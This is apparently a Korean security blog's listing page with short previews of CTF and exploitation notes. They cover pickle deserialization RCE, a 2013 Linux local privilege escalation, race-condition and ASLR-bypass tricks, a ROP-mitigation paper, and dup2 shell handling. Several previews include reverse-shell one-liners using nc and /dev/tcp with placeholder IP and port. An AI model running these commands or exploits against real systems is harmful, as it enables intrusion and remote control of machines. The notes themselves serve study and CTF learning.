본문 바로가기

Computer Security/System

Python Pickle 취약점 이번 plaid CTF 에서 나온 취약점... 사실 알려진지는 좀 오래 되었던 듯 하다.pickle 자체는 머신러닝 공부하면서 처음 접해봤는데, 생각없이 쓰기만 하다가, 이것만으로도 RCE가 된다는건 상상도 못했었다. 애초에, pickle이 안전하지 않다.다른사람이 준 pickle을 load하기만 해도, 쉘을 따일수가 있으니 절대 받지 않도록 한다. 취약점은 __reduce__ method에서 발생한다. unpickle을 할때, 어떻게 재구성할지에 대한 tuple을 반환 하는 메소드인데, 그 tuple에 함수 또한 리턴하며, 그 함수를 콜을 하게 된다. import cPickleimport os class exploit(object): def __reduce__(self): return (os.syste.. 더보기
gs segment base address linux에서 %gs:0x10 이런식으로 접근할때, gs의 베이스주소를 알아내는법 $ strace -f ./바이너리 2>&1 | grep thread_area 더보기
CVE-2013-2094 리눅스 로컬권한상승 취약점 원래 제대로 깊게 분석해보려고 했는데... 급 귀찮음을 느껴서 단순히 소개만.. 이 취약점은 2013년 5월 14일에 발표되었다.그래서, 현재 대부분의 기본 커널에서 적용되는 취약점이다.(Ubuntu 13.04 64bit에서도 확인해보았는데, 루트가 따였다.)상당히 심각한 취약점이니, 꼭 패치를 해야한다. tunz@ubuntu:~/cve-2013-2094$ cat /etc/os-releaseNAME="Ubuntu"VERSION="13.04, Raring Ringtail"...tunz@ubuntu:~/cve-2013-2094$ uname -aLinux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_6.. 더보기
Race Condition one-shot exploit 레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능) 참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/ #include #include #include #include #i.. 더보기
시스템함수를 통한 리버스텔넷 (추가) 몇몇 라이트업들을 보니 "nc -e /bin/sh IP PORT" 등으로 리버스텔넷을 하는 경우가 있다.근데, 난 안됀다... e옵션이 없다.그래서 찾아본 다른 방법 victimsystem("mkfifo /tmp/tunz; nc IP PORT 0< /tmp/tunz | /bin/sh 1> /tmp/tunz") attacker$ nc -l -p PORT -vvv (단, 접속후 큐파일, /tmp/tunz은 꼭 지우도록 한다.) 추가) /bin/bash -i >& /dev/tcp/IP/PORT 0>&1 /dev/tcp 가 있으면 그냥, 저기에 IP,PORT만 써넣으면 됌 더보기
Hindering ROP Using In-Place Code Randomization 요즘 보안쪽 논문을 보면, 생각했던것과 많이 달라 이쪽 대학원을 가야하나 말아야하나 망설여지지만, 그중 이 논문은 가장 괜찮았다. Smashing the Gadgets: Hindering Return-Oriented Programming Using In-Place Code Randomization ROP gadget을 없애는 방법을 제시하고있는데, 그중 가장 기억에 남는건 첫번째 방법인 Atomic Instruction Substitution이다. linux계열을 ROP로 공격할땐, 별로 소용이 없을것 같긴 하지만,windows계열에서는 꽤나 도움이 될듯하다. 이 논문에서 예를 든건 cmp al,bl 과 같은것들을 cmp bl,al로 바꿈으로써, ret(C3)를 없앤다는 내용이다.의미상으로는 전혀 다른게.. 더보기
libc 주소 randomization 해제 트릭 local환경에서 BOF 공격을 할때, 루트권한 없이도 libc의 주소 randomization을 해제하는 트릭이 있다. $ ulimit -s unlimited 를 이용하면 된다.(단, 32비트 리눅스에서만 가능하다고 한다.) $ ldd alinux-gate.so.1 => (0xb7768000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75fb000)/lib/ld-linux.so.2 (0xb7769000)$ ldd a linux-gate.so.1 => (0xb772f000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75c2000)/lib/ld-linux.so.2 (0xb7730000)$ ulimit -s unlimited$ l.. 더보기
리버스쉘과 바인드쉘이 안될때 대처법 (dup2+/bin/sh) CTF를 풀때 정말 난감한 환경들이 있다. 예를들어, 특히 우리학교. 우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다. 이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데 dup2+쉘을 이용하면 가능하다. dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데 원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다. dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다. 이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다. 그래서, .. 더보기